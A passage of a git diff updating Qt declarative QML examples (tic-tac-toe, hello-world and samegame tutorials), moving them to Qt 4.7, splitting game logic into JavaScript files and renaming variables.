+        text: container.text;
+        font.pixelSize: 14
+    }
+}
diff --git a/examples/declarative/tic-tac-toe/content/TicTac.qml b/examples/declarative/tic-tac-toe/content/TicTac.qml
index ccb7b78..d247943 100644
--- a/examples/declarative/tic-tac-toe/content/TicTac.qml
+++ b/examples/declarative/tic-tac-toe/content/TicTac.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     signal clicked
diff --git a/examples/declarative/tic-tac-toe/content/pics/board.png b/examples/declarative/tic-tac-toe/content/pics/board.png
index cd85971..29118a9 100644
--- a/examples/declarative/tic-tac-toe/content/pics/board.png
+++ b/examples/declarative/tic-tac-toe/content/pics/board.png
diff --git a/examples/declarative/tic-tac-toe/content/tic-tac-toe.js b/examples/declarative/tic-tac-toe/content/tic-tac-toe.js
new file mode 100644
index 0000000..f8d6d9f
--- /dev/null
+++ b/examples/declarative/tic-tac-toe/content/tic-tac-toe.js
@@ -0,0 +1,145 @@
+function winner(board)
+{
+    for (var i=0; i<3; ++i) {
+        if (board.children[i].state!=""
+            && board.children[i].state==board.children[i+3].state
+            && board.children[i].state==board.children[i+6].state)
+            return true
+
+        if (board.children[i*3].state!=""
+            && board.children[i*3].state==board.children[i*3+1].state
+            && board.children[i*3].state==board.children[i*3+2].state)
+            return true
+    }
+
+    if (board.children[0].state!=""
+        && board.children[0].state==board.children[4].state!=""
+        && board.children[0].state==board.children[8].state!="")
+        return true
+
+    if (board.children[2].state!=""
+        && board.children[2].state==board.children[4].state!=""
+        && board.children[2].state==board.children[6].state!="")
+        return true
+
+    return false
+}
+
+function restart()
+{
+    // No moves left - start again
+    for (var i=0; i<9; ++i)
+        board.children[i].state = ""
+}
+
+function makeMove(pos,player)
+{
+    board.children[pos].state = player
+    if (winner(board)) {
+        win(player + " wins")
+        return true
+    } else {
+        return false
+    }
+}
+
+function computerTurn()
+{
+    var r = Math.random();
+    if(r < game.difficulty){
+        smartAI();
+    }else{
+        randAI();
+    }
+}
+
+function smartAI()
+{
+    function boardCopy(a){
+        var ret = new Object;
+        ret.children = new Array(9);
+        for(var i = 0; i<9; i++){
+            ret.children[i] = new Object;
+            ret.children[i].state = a.children[i].state;
+        }
+        return ret;
+    }
+    for(var i=0; i<9; i++){
+        var simpleBoard = boardCopy(board);
+        if (board.children[i].state == "") {
+            simpleBoard.children[i].state = "O";
+            if(winner(simpleBoard)){
+                makeMove(i,"O")
+                return
+            }
+        }
+    }
+    for(var i=0; i<9; i++){
+        var simpleBoard = boardCopy(board);
+        if (board.children[i].state == "") {
+            simpleBoard.children[i].state = "X";
+            if(winner(simpleBoard)){
+                makeMove(i,"O")
+                return
+            }
+        }
+    }
+    function thwart(a,b,c){//If they are at a, try b or c
+        if (board.children[a].state == "X") {
+            if (board.children[b].state == "") {
+                makeMove(b,"O")
+                return true
+            }else if (board.children[c].state == "") {
+                makeMove(c,"O")
+                return true
+            }
+        }
+        return false;
+    }
+    if(thwart(4,0,2)) return;
+    if(thwart(0,4,3)) return;
+    if(thwart(2,4,1)) return;
+    if(thwart(6,4,7)) return;
+    if(thwart(8,4,5)) return;
+    if(thwart(1,4,2)) return;
+    if(thwart(3,4,0)) return;
+    if(thwart(5,4,8)) return;
+    if(thwart(7,4,6)) return;
+    for(var i =0; i<9; i++){//Backup
+        if (board.children[i].state == "") {
+            makeMove(i,"O")
+            return
+        }
+    }
+    restart();
+}
+
+function randAI()
+{
+    var open = 0;
+    for (var i=0; i<9; ++i)
+        if (board.children[i].state == "") {
+            open += 1;
+        }
+    if(open == 0){
+        restart();
+        return;
+    }
+    var openA = new Array(open);//JS doesn't have lists I can append to (i think)
+    var acc = 0;
+    for (var i=0; i<9; ++i)
+        if (board.children[i].state == "") {
+            openA[acc] = i;
+            acc += 1;
+        }
+    var choice = openA[Math.floor(Math.random() * open)];
+    makeMove(choice, "O");
+}
+
+function win(s)
+{
+    msg.text = s
+    msg.opacity = 1
+    endtimer.running = true
+}
+
diff --git a/examples/declarative/tic-tac-toe/tic-tac-toe.qml b/examples/declarative/tic-tac-toe/tic-tac-toe.qml
index 63ee483..dd13052 100644
--- a/examples/declarative/tic-tac-toe/tic-tac-toe.qml
+++ b/examples/declarative/tic-tac-toe/tic-tac-toe.qml
@@ -1,19 +1,26 @@
-import Qt 4.6
+import Qt 4.7
 import "content"
+import "content/tic-tac-toe.js" as Logic
 
 Item {
-    width: boardimage.width
-    height: boardimage.height
+    id: game
+
+    property bool show: false
+    property real difficulty: 1.0   //chance it will actually think
+
+    width: 440
+    height: 480
+    anchors.fill: parent
 
     Image {
         id: boardimage
+        anchors { verticalCenter: parent.verticalCenter; horizontalCenter: parent.horizontalCenter }
         source: "content/pics/board.png"
     }
 
     Grid {
         id: board
         anchors.fill: boardimage
-
         columns: 3
 
         Repeater {
@@ -23,93 +30,48 @@ Item {
                 height: board.height/3
                 onClicked: {
                     if (!endtimer.running) {
-                        if (!makeMove(index,"X"))
-                            computerTurn()
+                        if (!Logic.makeMove(index,"X"))
+                            Logic.computerTurn()
                     }
                 }
             }
         }
 
-        Script {
-            function winner()
-            {
-                for (var i=0; i<3; ++i) {
-                    if (board.children[i].state!=""
-                        && board.children[i].state==board.children[i+3].state
-                        && board.children[i].state==board.children[i+6].state)
-                        return true
-
-                    if (board.children[i*3].state!=""
-                        && board.children[i*3].state==board.children[i*3+1].state
-                        && board.children[i*3].state==board.children[i*3+2].state)
-                        return true
-                }
-
-                if (board.children[0].state!=""
-                    && board.children[0].state==board.children[4].state!=""
-                    && board.children[0].state==board.children[8].state!="")
-                    return true
-
-                if (board.children[2].state!=""
-                    && board.children[2].state==board.children[4].state!=""
-                    && board.children[2].state==board.children[6].state!="")
-                    return true
-
-                return false
-            }
-
-            function restart()
-            {
-                // No moves left - start again
-                for (var i=0; i<9; ++i)
-                    board.children[i].state = ""
-            }
-
-            function makeMove(pos,player)
-            {
-                board.children[pos].state = player
-                if (winner()) {
-                    win(player + " wins")
-                    return true
-                } else {
-                    return false
-                }
-            }
-
-            function computerTurn()
-            {
-                // world's dumbest player
-                for (var i=0; i<9; ++i)
-                    if (board.children[i].state == "") {
-                        makeMove(i,"O")
-                        return
-                    }
-                restart()
-            }
-
-            function win(s)
-            {
-                msg.text = s
-                msg.opacity = 1
-                endtimer.running = true
-            }
-        }
-
         Timer {
             id: endtimer
             interval: 1600
-            onTriggered: { msg.opacity = 0; restart() }
+            onTriggered: { msg.opacity = 0; Logic.restart() }
+        }
+    }
+
+    Row {
+        spacing: 4
+        anchors { top: board.bottom; horizontalCenter: board.horizontalCenter }
+
+        Button {
+            text: "Hard"
+            onClicked: game.difficulty = 1.0;
+            down: game.difficulty == 1.0
+        }
+        Button {
+            text: "Moderate"
+            onClicked: game.difficulty = 0.8;
+            down: game.difficulty == 0.8
+        }
+        Button {
+            text: "Easy"
+            onClicked: game.difficulty = 0.2;
+            down: game.difficulty == 0.2
         }
     }
 
     Text {
         id: msg
-        opacity: 0
+
         anchors.centerIn: parent
+        opacity: 0
         color: "blue"
-        styleColor: "white"
-        style: Text.Outline
-        font.pixelSize: 50
-        font.bold: true
+        style: Text.Outline; styleColor: "white"
+        font.pixelSize: 50; font.bold: true
     }
 }
diff --git a/examples/declarative/tutorials/helloworld/Cell.qml b/examples/declarative/tutorials/helloworld/Cell.qml
index de4f3bb..1e52a67 100644
--- a/examples/declarative/tutorials/helloworld/Cell.qml
+++ b/examples/declarative/tutorials/helloworld/Cell.qml
@@ -1,14 +1,14 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 //![1]
 Item {
     id: container
 //![4]
-    property alias color: rectangle.color
+    property alias cellColor: rectangle.color
 //![4]
 //![5]
-    signal clicked(color color)
+    signal clicked(color cellColor)
 //![5]
 
     width: 40; height: 25
@@ -25,7 +25,7 @@ Item {
 //![3]
     MouseArea {
         anchors.fill: parent
-        onClicked: container.clicked(container.color)
+        onClicked: container.clicked(container.cellColor)
     }
 //![3]
 }
diff --git a/examples/declarative/tutorials/helloworld/tutorial1.qml b/examples/declarative/tutorials/helloworld/tutorial1.qml
index 93d3c34..5e27b45 100644
--- a/examples/declarative/tutorials/helloworld/tutorial1.qml
+++ b/examples/declarative/tutorials/helloworld/tutorial1.qml
@@ -1,6 +1,6 @@
 //![0]
 //![3]
-import Qt 4.6
+import Qt 4.7
 //![3]
 
 //![1]
diff --git a/examples/declarative/tutorials/helloworld/tutorial2.qml b/examples/declarative/tutorials/helloworld/tutorial2.qml
index 99889d7..085efa4 100644
--- a/examples/declarative/tutorials/helloworld/tutorial2.qml
+++ b/examples/declarative/tutorials/helloworld/tutorial2.qml
@@ -1,5 +1,5 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
@@ -15,17 +15,17 @@ Rectangle {
 
     Grid {
         id: colorPicker
-        anchors.bottom: page.bottom
+        x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4
         rows: 2; columns: 3; spacing: 3
 
 //![1]
-        Cell { color: "red"; onClicked: helloText.color = color }
+        Cell { cellColor: "red"; onClicked: helloText.color = cellColor }
 //![1]
-        Cell { color: "green"; onClicked: helloText.color = color }
-        Cell { color: "blue"; onClicked: helloText.color = color }
-        Cell { color: "yellow"; onClicked: helloText.color = color }
-        Cell { color: "steelblue"; onClicked: helloText.color = color }
-        Cell { color: "black"; onClicked: helloText.color = color }
+        Cell { cellColor: "green"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "blue"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "black"; onClicked: helloText.color = cellColor }
     }
 }
 //![0]
diff --git a/examples/declarative/tutorials/helloworld/tutorial3.qml b/examples/declarative/tutorials/helloworld/tutorial3.qml
index b8a4f77..4bf4970 100644
--- a/examples/declarative/tutorials/helloworld/tutorial3.qml
+++ b/examples/declarative/tutorials/helloworld/tutorial3.qml
@@ -1,5 +1,5 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
@@ -11,15 +11,14 @@ Rectangle {
         text: "Hello world!"
         font.pointSize: 24; font.bold: true
         y: 30; anchors.horizontalCenter: page.horizontalCenter
-        transformOrigin: Item.Center
 
 //![1]
-        MouseArea { id: mouseRegion; anchors.fill: parent }
+        MouseArea { id: mouseArea; anchors.fill: parent }
 //![1]
 
 //![2]
         states: State {
-            name: "down"; when: mouseRegion.pressed == true
+            name: "down"; when: mouseArea.pressed == true
             PropertyChanges { target: helloText; y: 160; rotation: 180; color: "red" }
         }
 //![2]
@@ -37,15 +36,15 @@ Rectangle {
 
     Grid {
         id: colorPicker
-        anchors.bottom: page.bottom
+        x: 4; anchors.bottom: page.bottom; anchors.bottomMargin: 4
         rows: 2; columns: 3; spacing: 3
 
-        Cell { color: "red"; onClicked: helloText.color = color }
-        Cell { color: "green"; onClicked: helloText.color = color }
-        Cell { color: "blue"; onClicked: helloText.color = color }
-        Cell { color: "yellow"; onClicked: helloText.color = color }
-        Cell { color: "steelblue"; onClicked: helloText.color = color }
-        Cell { color: "black"; onClicked: helloText.color = color }
+        Cell { cellColor: "red"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "green"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "blue"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "yellow"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "steelblue"; onClicked: helloText.color = cellColor }
+        Cell { cellColor: "black"; onClicked: helloText.color = cellColor }
     }
 }
 //![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/Block.qml b/examples/declarative/tutorials/samegame/samegame1/Block.qml
index f133b17..a535235 100644
--- a/examples/declarative/tutorials/samegame/samegame1/Block.qml
+++ b/examples/declarative/tutorials/samegame/samegame1/Block.qml
@@ -1,12 +1,13 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Item { 
-    id:block
+    id: block
     
-    Image { id: img
-        source: "../shared/pics/redStone.png";
+    Image {
+        id: img
         anchors.fill: parent
+        source: "../shared/pics/redStone.png";
     }
 }
 //![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/Button.qml b/examples/declarative/tutorials/samegame/samegame1/Button.qml
index 2e31ff8..e8034ac 100644
--- a/examples/declarative/tutorials/samegame/samegame1/Button.qml
+++ b/examples/declarative/tutorials/samegame/samegame1/Button.qml
@@ -1,27 +1,34 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
 
-    signal clicked
     property string text: "Button"
 
-    color: activePalette.button; smooth: true
-    width: txtItem.width + 20; height: txtItem.height + 6
-    border.width: 1; border.color: Qt.darker(activePalette.button); radius: 8;
+    signal clicked
+
+    width: buttonLabel.width + 20; height: buttonLabel.height + 6
+    smooth: true
+    border { width: 1; color: Qt.darker(activePalette.button) }
+    radius: 8
 
+    // color the button with a gradient
     gradient: Gradient {
         GradientStop {
-            id: topGrad; position: 0.0
-            color: if (mr.pressed) { activePalette.dark } else { activePalette.light } }
+            position: 0.0
+            color: {
+                if (mouseArea.pressed) 
+                    return activePalette.dark
+                else 
+                    return activePalette.light
+            }
+        }
         GradientStop { position: 1.0; color: activePalette.button }
     }
 
-    MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+    MouseArea { id: mouseArea; anchors.fill: parent; onClicked: container.clicked() }
 
-    Text {
-        id: txtItem; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
-    }
+    Text { id: buttonLabel; text: container.text; anchors.centerIn: container; color: activePalette.buttonText }
 }
 //![0]
diff --git a/examples/declarative/tutorials/samegame/samegame1/samegame.qml b/examples/declarative/tutorials/samegame/samegame1/samegame.qml
index 5ed30c9..b6e01fd 100644
--- a/examples/declarative/tutorials/samegame/samegame1/samegame.qml
+++ b/examples/declarative/tutorials/samegame/samegame1/samegame.qml
@@ -1,39 +1,42 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: screen
+
     width: 490; height: 720
 
     SystemPalette { id: activePalette }
 
     Item {
-        width: parent.width; anchors.top: parent.top; anchors.bottom: toolbar.top
+        width: parent.width
+        anchors { top: parent.top; bottom: toolBar.top }
 
         Image {
             id: background
-            anchors.fill: parent; source: "../shared/pics/background.jpg"
+            anchors.fill: parent
+            source: "../shared/pics/background.jpg"
             fillMode: Image.PreserveAspectCrop
         }
     }
 
     Rectangle {
-        id: toolbar
+        id: toolBar
+        width: parent.width; height: 32
         color: activePalette.window
-        height: 32; width: parent.width
         anchors.bottom: screen.bottom
 
         Button {
-            id: btnA; text: "New Game"; onClicked: console.log("Implement me!");
-            anchors.left: parent.left; anchors.leftMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "New Game" 
+            onClicked: console.log("This doesn't do anything yet...")
         }
 
         Text {
             id: score
-            text: "Score: Who knows?"; font.bold: true
-            anchors.right: parent.right; anchors.rightMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "Score: Who knows?"
+            font.bold: true
         }
     }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame2/Block.qml b/examples/declarative/tutorials/samegame/samegame2/Block.qml
index e4b3354..88b3d79 100644
--- a/examples/declarative/tutorials/samegame/samegame2/Block.qml
+++ b/examples/declarative/tutorials/samegame/samegame2/Block.qml
@@ -1,10 +1,11 @@
-import Qt 4.6
+import Qt 4.7
 
 Item { 
-    id:block
+    id: block
     
-    Image { id: img
-        source: "../shared/pics/redStone.png";
+    Image {
+        id: img
         anchors.fill: parent
+        source: "../shared/pics/redStone.png";
     }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame2/Button.qml b/examples/declarative/tutorials/samegame/samegame2/Button.qml
index 6629302..8d322de5 100644
--- a/examples/declarative/tutorials/samegame/samegame2/Button.qml
+++ b/examples/declarative/tutorials/samegame/samegame2/Button.qml
@@ -1,25 +1,32 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
 
-    signal clicked
     property string text: "Button"
 
-    color: activePalette.button; smooth: true
-    width: txtItem.width + 20; height: txtItem.height + 6
-    border.width: 1; border.color: Qt.darker(activePalette.button); radius: 8;
+    signal clicked
+
+    width: buttonLabel.width + 20; height: buttonLabel.height + 6
+    smooth: true
+    border { width: 1; color: Qt.darker(activePalette.button) }
+    radius: 8
 
+    // color the button with a gradient
     gradient: Gradient {
         GradientStop {
-            id: topGrad; position: 0.0
-            color: if (mr.pressed) { activePalette.dark } else { activePalette.light } }
+            position: 0.0
+            color: {
+                if (mouseArea.pressed) 
+                    return activePalette.dark
+                else 
+                    return activePalette.light
+            }
+        }
         GradientStop { position: 1.0; color: activePalette.button }
     }
 
-    MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+    MouseArea { id: mouseArea; anchors.fill: parent; onClicked: container.clicked() }
 
-    Text {
-        id: txtItem; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
-    }
+    Text { id: buttonLabel; text: container.text; anchors.centerIn: container; color: activePalette.buttonText }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame2/samegame.js b/examples/declarative/tutorials/samegame/samegame2/samegame.js
index 2c02c61..9809c1d 100644
--- a/examples/declarative/tutorials/samegame/samegame2/samegame.js
+++ b/examples/declarative/tutorials/samegame/samegame2/samegame.js
@@ -1,57 +1,59 @@
 //![0]
-//Note that X/Y referred to here are in game coordinates
-var maxX = 10;//Nums are for tileSize 40
-var maxY = 15;
-var tileSize = 40;
-var maxIndex = maxX*maxY;
+var blockSize = 40;
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn * maxRow;
 var board = new Array(maxIndex);
-var tileSrc = "Block.qml";
 var component;
 
 //Index function used instead of a 2D array
-function index(xIdx,yIdx) {
-    return xIdx + (yIdx * maxX);
+function index(column, row) {
+    return column + (row * maxColumn);
 }
 
-function initBoard()
-{
+function startNewGame() {
+    //Delete blocks from previous game
+    for (var i = 0; i < maxIndex; i++) {
+        if (board[i] != null)
+            board[i].destroy();
+    }
+
     //Calculate board size
-    maxX = Math.floor(background.width/tileSize);
-    maxY = Math.floor(background.height/tileSize);
-    maxIndex = maxY*maxX;
+    maxColumn = Math.floor(background.width / blockSize);
+    maxRow = Math.floor(background.height / blockSize);
+    maxIndex = maxRow * maxColumn;
 
     //Initialize Board
     board = new Array(maxIndex);
-    for(var xIdx=0; xIdx<maxX; xIdx++){
-        for(var yIdx=0; yIdx<maxY; yIdx++){
-            board[index(xIdx,yIdx)] = null;
-            createBlock(xIdx,yIdx);
+    for (var column = 0; column < maxColumn; column++) {
+        for (var row = 0; row < maxRow; row++) {
+            board[index(column, row)] = null;
+            createBlock(column, row);
         }
     }
 }
 
-function createBlock(xIdx,yIdx){
-    if(component==null)
-        component = createComponent(tileSrc);
+function createBlock(column, row) {
+    if (component == null)
+        component = createComponent("Block.qml");
 
-    // Note that we don't wait for the component to become ready. This will
-    // only work if the block QML is a local file. Otherwise the component will
-    // not be ready immediately. There is a statusChanged signal on the
-    // component you could use if you want to wait to load remote files.
-    if(component.isReady){
+    // Note that if Block.qml was not a local file, component.isReady would be
+    // false and we should wait for the component's statusChanged() signal to
+    // know when the file is downloaded and fully loaded before calling createObject().
+    if (component.isReady) {
         var dynamicObject = component.createObject();
-        if(dynamicObject == null){
+        if (dynamicObject == null) {
             print("error creating block");
             print(component.errorsString());
             return false;
         }
         dynamicObject.parent = background;
-        dynamicObject.x = xIdx*tileSize;
-        dynamicObject.y = yIdx*tileSize;
-        dynamicObject.width = tileSize;
-        dynamicObject.height = tileSize;
-        board[index(xIdx,yIdx)] = dynamicObject;
-    }else{//isError or isLoading
+        dynamicObject.x = column * blockSize;
+        dynamicObject.y = row * blockSize;
+        dynamicObject.width = blockSize;
+        dynamicObject.height = blockSize;
+        board[index(column, row)] = dynamicObject;
+    } else {
         print("error loading block component");
         print(component.errorsString());
         return false;
@@ -59,3 +61,4 @@ function createBlock(xIdx,yIdx){
     return true;
 }
 //![0]
+
diff --git a/examples/declarative/tutorials/samegame/samegame2/samegame.qml b/examples/declarative/tutorials/samegame/samegame2/samegame.qml
index 7e0bc0c..7a17d16 100644
--- a/examples/declarative/tutorials/samegame/samegame2/samegame.qml
+++ b/examples/declarative/tutorials/samegame/samegame2/samegame.qml
@@ -1,43 +1,46 @@
-import Qt 4.6
+import Qt 4.7
+//![2]
+import "samegame.js" as SameGame
+//![2]
 
 Rectangle {
     id: screen
+
     width: 490; height: 720
 
     SystemPalette { id: activePalette }
-//![2]
-    Script { source: "samegame.js" }
-//![2]
 
     Item {
-        width: parent.width; anchors.top: parent.top; anchors.bottom: toolbar.top
+        width: parent.width
+        anchors { top: parent.top; bottom: toolBar.top }
 
         Image {
             id: background
-            anchors.fill: parent; source: "../shared/pics/background.jpg"
+            anchors.fill: parent
+            source: "../shared/pics/background.jpg"
             fillMode: Image.PreserveAspectCrop
         }
     }
 
     Rectangle {
-        id: toolbar
+        id: toolBar
+        width: parent.width; height: 32
         color: activePalette.window
-        height: 32; width: parent.width
         anchors.bottom: screen.bottom
 
 //![1]
         Button {
-            id: btnA; text: "New Game"; onClicked: initBoard();
-            anchors.left: parent.left; anchors.leftMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "New Game" 
+            onClicked: SameGame.startNewGame()
         }
 //![1]
 
         Text {
             id: score
-            text: "Score: Who knows?"; font.bold: true
-            anchors.right: parent.right; anchors.rightMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "Score: Who knows?"
+            font.bold: true
         }
     }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame3/Block.qml b/examples/declarative/tutorials/samegame/samegame3/Block.qml
index 7620104..dd0fb48 100644
--- a/examples/declarative/tutorials/samegame/samegame3/Block.qml
+++ b/examples/declarative/tutorials/samegame/samegame3/Block.qml
@@ -1,21 +1,23 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Item { 
-    id:block
+    id: block
+
     property int type: 0
     
-    Image { id: img
+    Image {
+        id: img
+
+        anchors.fill: parent
         source: {
-            if(type == 0){
-                "../shared/pics/redStone.png";
-            } else if(type == 1) {
-                "../shared/pics/blueStone.png";
-            } else {
-                "../shared/pics/greenStone.png";
-            }
+            if (type == 0)
+                return "../shared/pics/redStone.png";
+            else if (type == 1) 
+                return "../shared/pics/blueStone.png";
+            else
+                return "../shared/pics/greenStone.png";
         }
-        anchors.fill: parent
     }
 }
 //![0]
diff --git a/examples/declarative/tutorials/samegame/samegame3/Button.qml b/examples/declarative/tutorials/samegame/samegame3/Button.qml
index 6629302..8d322de5 100644
--- a/examples/declarative/tutorials/samegame/samegame3/Button.qml
+++ b/examples/declarative/tutorials/samegame/samegame3/Button.qml
@@ -1,25 +1,32 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
 
-    signal clicked
     property string text: "Button"
 
-    color: activePalette.button; smooth: true
-    width: txtItem.width + 20; height: txtItem.height + 6
-    border.width: 1; border.color: Qt.darker(activePalette.button); radius: 8;
+    signal clicked
+
+    width: buttonLabel.width + 20; height: buttonLabel.height + 6
+    smooth: true
+    border { width: 1; color: Qt.darker(activePalette.button) }
+    radius: 8
 
+    // color the button with a gradient
     gradient: Gradient {
         GradientStop {
-            id: topGrad; position: 0.0
-            color: if (mr.pressed) { activePalette.dark } else { activePalette.light } }
+            position: 0.0
+            color: {
+                if (mouseArea.pressed) 
+                    return activePalette.dark
+                else 
+                    return activePalette.light
+            }
+        }
         GradientStop { position: 1.0; color: activePalette.button }
     }
 
-    MouseArea { id: mr; anchors.fill: parent; onClicked: container.clicked() }
+    MouseArea { id: mouseArea; anchors.fill: parent; onClicked: container.clicked() }
 
-    Text {
-        id: txtItem; text: container.text; anchors.centerIn: container; color: activePalette.buttonText
-    }
+    Text { id: buttonLabel; text: container.text; anchors.centerIn: container; color: activePalette.buttonText }
 }
diff --git a/examples/declarative/tutorials/samegame/samegame3/Dialog.qml b/examples/declarative/tutorials/samegame/samegame3/Dialog.qml
index 36178ec..be3a7b7 100644
--- a/examples/declarative/tutorials/samegame/samegame3/Dialog.qml
+++ b/examples/declarative/tutorials/samegame/samegame3/Dialog.qml
@@ -1,23 +1,32 @@
 //![0]
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: page
+
+    signal closed
+
     function forceClose() {
         page.closed();
         page.opacity = 0;
     }
+
     function show(txt) {
-        myText.text = txt;
+        dialogText.text = txt;
         page.opacity = 1;
     }
-    signal closed();
-    color: "white"; border.width: 1; width: myText.width + 20; height: 60;
+
+    width: dialogText.width + 20; height: dialogText.height + 20
+    color: "white"
+    border.width: 1
     opacity: 0
+
     Behavior on opacity { 
         NumberAnimation { duration: 1000 }
     }
-    Text { id: myText; anchors.centerIn: parent; text: "Hello World!" }
-    MouseArea { id: mr; anchors.fill: parent; onClicked: forceClose(); }
+
+    Text { id: dialogText; anchors.centerIn: parent; text: "Hello World!" }
+
+    MouseArea { anchors.fill: parent; onClicked: forceClose(); }
 }
 //![0]
diff --git a/examples/declarative/tutorials/samegame/samegame3/samegame.js b/examples/declarative/tutorials/samegame/samegame3/samegame.js
index 38efb3b..c12def7 100644
--- a/examples/declarative/tutorials/samegame/samegame3/samegame.js
+++ b/examples/declarative/tutorials/samegame/samegame3/samegame.js
@@ -1,29 +1,20 @@
 /* This script file handles the game logic */
-//Note that X/Y referred to here are in game coordinates
-var maxX = 10;//Nums are for tileSize 40
-var maxY = 15;
-var maxIndex = maxX*maxY;
+var maxColumn = 10;
+var maxRow = 15;
+var maxIndex = maxColumn * maxRow;
 var board = new Array(maxIndex);
-var tileSrc = "Block.qml";
 var component;
 
 //Index function used instead of a 2D array
-function index(xIdx,yIdx) {
-    return xIdx + (yIdx * maxX);
+function index(column, row) {
+    return column + (row * maxColumn);
 }
 
-function initBoard()
-{
-    for(var i = 0; i<maxIndex; i++){
-        //Delete old blocks
-        if(board[i] != null)
-            board[i].destroy();
-    }
-
+function startNewGame() {
     //Calculate board size
-    maxX = Math.floor(gameCanvas.width/gameCanvas.tileSize);
-    maxY = Math.floor(gameCanvas.height/gameCanvas.tileSize);
-    maxIndex = maxY*maxX;
+    maxColumn = Math.floor(gameCanvas.width / gameCanvas.blockSize);
+    maxRow = Math.floor(gameCanvas.height / gameCanvas.blockSize);
+    maxIndex = maxRow * maxColumn;
 
     //Close dialogs
     dialog.forceClose();
@@ -31,37 +22,36 @@ function initBoard()
     //Initialize Board
     board = new Array(maxIndex);
     gameCanvas.score = 0;
-    for(var xIdx=0; xIdx<maxX; xIdx++){
-        for(var yIdx=0; yIdx<maxY; yIdx++){
-            board[index(xIdx,yIdx)] = null;
-            createBlock(xIdx,yIdx);
+    for (var column = 0; column < maxColumn; column++) {
+        for (var row = 0; row < maxRow; row++) {
+            board[index(column, row)] = null;
+            createBlock(column, row);
         }
     }
 }
 
-function createBlock(xIdx,yIdx){
-    if(component==null)
-        component = createComponent(tileSrc);
+function createBlock(column, row) {
+    if (component == null)
+        component = createComponent("Block.qml");
 
-    // Note that we don't wait for the component to become ready. This will
-    // only work if the block QML is a local file. Otherwise the component will
-    // not be ready immediately. There is a statusChanged signal on the
-    // component you could use if you want to wait to load remote files.
-    if(component.isReady){
+    // Note that if Block.qml was not a local file, component.isReady would be
+    // false and we should wait for the component's statusChanged() signal to
+    // know when the file is downloaded and fully loaded before calling createObject().
+    if (component.isReady) {
         var dynamicObject = component.createObject();
-        if(dynamicObject == null){
+        if (dynamicObject == null) {
             print("error creating block");
             print(component.errorsString());
             return false;
         }
         dynamicObject.type = Math.floor(Math.random() * 3);
         dynamicObject.parent = gameCanvas;
-        dynamicObject.x = xIdx*gameCanvas.tileSize;
-        dynamicObject.y = yIdx*gameCanvas.tileSize;
-        dynamicObject.width = gameCanvas.tileSize;
-        dynamicObject.height = gameCanvas.tileSize;
-        board[index(xIdx,yIdx)] = dynamicObject;
-    }else{//isError or isLoading
+        dynamicObject.x = column * gameCanvas.blockSize;
+        dynamicObject.y = row * gameCanvas.blockSize;
+        dynamicObject.width = gameCanvas.blockSize;
+        dynamicObject.height = gameCanvas.blockSize;
+        board[index(column, row)] = dynamicObject;
+    } else {
         print("error loading block component");
         print(component.errorsString());
         return false;
@@ -69,21 +59,21 @@ function createBlock(xIdx,yIdx){
     return true;
 }
 
-var fillFound;//Set after a floodFill call to the number of tiles found
-var floodBoard;//Set to 1 if the floodFill reaches off that node
-//NOTE: Be careful with vars named x,y, as the calling object's x,y are still in scope
+var fillFound;
+//Set after a floodFill call to the number of blocks found
+var floodBoard;
+//Set to 1 if the floodFill reaches off that node
 //![1]
-function handleClick(x,y)
-{
-    var xIdx = Math.floor(x/gameCanvas.tileSize);
-    var yIdx = Math.floor(y/gameCanvas.tileSize);
-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+function handleClick(xPos, yPos) {
+    var column = Math.floor(xPos / gameCanvas.blockSize);
+    var row = Math.floor(yPos / gameCanvas.blockSize);
+    if (column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return;
-    if(board[index(xIdx, yIdx)] == null)
+    if (board[index(column, row)] == null)
         return;
-    //If it's a valid tile, remove it and all connected (does nothing if it's not connected)
-    floodFill(xIdx,yIdx, -1);
-    if(fillFound <= 0)
+    //If it's a valid block, remove it and all connected (does nothing if it's not connected)
+    floodFill(column, row, -1);
+    if (fillFound <= 0)
         return;
